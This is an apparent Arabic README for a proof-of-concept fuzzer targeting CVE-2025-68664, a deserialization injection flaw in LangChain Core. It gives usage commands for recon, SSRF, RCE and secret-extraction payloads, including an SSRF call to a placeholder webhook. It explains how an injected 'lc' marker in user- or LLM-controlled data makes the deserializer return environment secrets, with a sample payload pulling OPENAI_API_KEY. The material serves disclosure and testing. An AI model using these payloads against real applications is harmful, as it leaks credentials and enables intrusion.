إطار اختبار لتحديد وإظهار ثغرات إلغاء التسلسل في LangChain Core (<0.3.81). للاستخدام التعليمي فقط
LangGrinch-PoC/ │ ├── README.md # Main documentation & writeup ├── PAYLOADS.md # Complete payload arsenal (55+) ├── langgrinch_fuzzer.py # Python payload generator & tester ├── requirements.txt # Python dependencies └── LICENSE # MIT License
## 🚀 بداية سريعة
### التثبيت```bash
# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC
# Install dependencies
pip install -r requirements.txt
python langgrinch_fuzzer.py --list
python langgrinch_fuzzer.py --category recon python langgrinch_fuzzer.py --category ssrf python langgrinch_fuzzer.py --category rce
python langgrinch_fuzzer.py --secret MY_API_KEY
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/
python langgrinch_fuzzer.py --export payloads.json
---
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/a59cc259070b0a6930250b423ecf6befeab7fd75694091738ff5f8d2899b56ad.gif" width="200" alt="Hacker GIF"/>
<img src="https://assets.kitploit.com/production/public/readmes/15055/0751965da24039c9facbe6006461ec38a66ff560b42dc590d1964f43f7f9853d.gif" width="200" alt="Security GIF"/>
Matrix GIF
</p>
---
## 🎯 ملخص تنفيذي
**CVE-2025-68664 (الاسم الرمزي: LangGrinch)** هي **ثغرة حقن تسلسل** حرجة تم اكتشافها في حزمة **LangChain Core Python**. تسمح هذه الثغرة للمهاجمين بحقن علامات `lc` ضارة من خلال مخرجات LLM أو قواميس يتحكم فيها المستخدم، مما يتيح:
1. 🔑 **استخراج الأسرار البيئية** (مفاتيح API، كلمات مرور قواعد البيانات)
2. 🌐 **هجمات SSRF** (استهداف الخدمات الداخلية)
3. 💀 **تنفيذ تعليمات برمجية عن بُعد** (عبر سلسلة Jinja2 SSTI)
4. 📂 **الوصول إلى نظام الملفات** (قراءة الملفات الحساسة)
<table align="center">
<tr>
<td>
### ⚡ إحصائيات سريعة
| 🔥 المقياس | 📊 القيمة |
|-----------|----------|
| **CVE ID** | CVE-2025-68664 |
| **الاسم الرمزي** | LangGrinch |
| **نوع الهجوم** | حقن إلغاء التسلسل |
| **مطلوب مصادقة** | لا (حقن التعليمات) |
| **التعقيد** | منخفض |
</td>
<td>
### 🎯 الإصدارات المتأثرة
| 📌 الخاصية | 📝 القيمة |
|-------------|----------|
| **الحزمة** | langchain-core |
| **الإصدارات المتأثرة** | < 0.3.81, >= 1.0.0 < 1.2.5 |
| **الإصدارات المصححة** | 0.3.81+, 1.2.5+ |
| **التأثير** | أسرار + RCE |
| **CWE** | CWE-502 |
</td>
</tr>
</table>
---
## 🐛 تعمق في الثغرة
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/fb07ef9946fd69ee29be7a85737fa8b18fa02c8ec40293de8a4994d5e8419a6a.gif" width="300" alt="Bug GIF"/>
</p>
### 📋 نظرة عامة تقنية
| الخاصية | القيمة |
|----------|-------|
| 🆔 **CVE ID** | CVE-2025-68664 |
| 🏷️ **الاسم الرمزي** | LangGrinch |
| 📊 **الخطورة** | حرجة 🔴 |
| 🔗 **CWE** | CWE-502 (إلغاء تسلسل البيانات غير الموثوقة) |
| 📦 **الحزمة المتأثرة** | `langchain-core` |
| ⚠️ **الإصدارات المتأثرة** | `< 0.3.81` AND `>= 1.0.0, < 1.2.5` |
| ✅ **الإصدارات المصححة** | `0.3.81+`, `1.2.5+` |
### 🤖 ما هو LangChain؟
LangChain هو إطار عمل Python شائع يُستخدم لبناء تطبيقات باستخدام **نماذج اللغة الكبيرة (LLMs)**. وهو منتشر على نطاق واسع عبر مختلف الصناعات:
| 🏢 حالة الاستخدام | 📝 الوصف |
|-------------|----------------|
| 🤖 **روبوتات محادثة ذكية** | خدمة العملاء، وكلاء الدعم |
| 🔍 **أنظمة RAG** | التوليد المعزز بالاسترجاع |
| 🔧 **وكلاء AI** | تنفيذ المهام المستقلة |
| 📊 **معالجة البيانات** | تحليل المستندات، التلخيص |
| 🔄 **أتمتة سير العمل** | خطوط أنابيب مدعومة بالذكاء الاصطناعي |
### 🔧 السبب الجذري التقني
تستخدم آلية التسلسل الداخلية في LangChain علامة خاصة - وهي **مفتاح `lc`**. عندما يحتوي القاموس على مفتاح `lc`، يعامله مزيل التسلسل في LangChain على أنه "كائن متسلسل من LangChain موثوق."
**الخلل هو:**
- دوال `dumps()` / `dumpd()` لا تقوم بهروب/تعطيل مفتاح `lc` في القواميس التي يتحكم فيها المستخدم/LLM
- أثناء إعادة التمييه عبر `load()` / `loads()`، تتم معالجة البنية المحقونة كـ **كائن داخلي**```
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 User/LLM Input → Dictionary with malicious "lc" marker │
│ ↓ │
│ 💾 Application serializes data (dumps/dumpd) │
│ ↓ │
│ ⚠️ "lc" key NOT escaped - remains in serialized form │
│ ↓ │
│ 🔄 Later: Data deserialized (load/loads) │
│ ↓ │
│ 🎯 Deserializer sees "lc" → Treats as LangChain object! │
│ ↓ │
│ 💀 Secret resolution / Object instantiation triggered │
│ ↓ │
│ 💥 SECRETS LEAKED / SSRF / RCE │
└─────────────────────────────────────────────────────────────────┘
في تنسيق تسلسل LangChain، يشير وجود "lc": 1 داخل قاموس إلى أنه كائن متسلسل من LangChain، وليس بيانات مستخدم عادية:```json
{
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
عندما يواجه المفكك هذه البنية:
1. `lc` == 1 يؤكد أنه كائن LangChain
2. `type` == "secret" يؤدي إلى مسار حل السر
3. يتم استخراج اسم متغير البيئة من مصفوفة `id`
4. **النتيجة:** يتم إرجاع قيمة `os.environ["OPENAI_API_KEY"]`!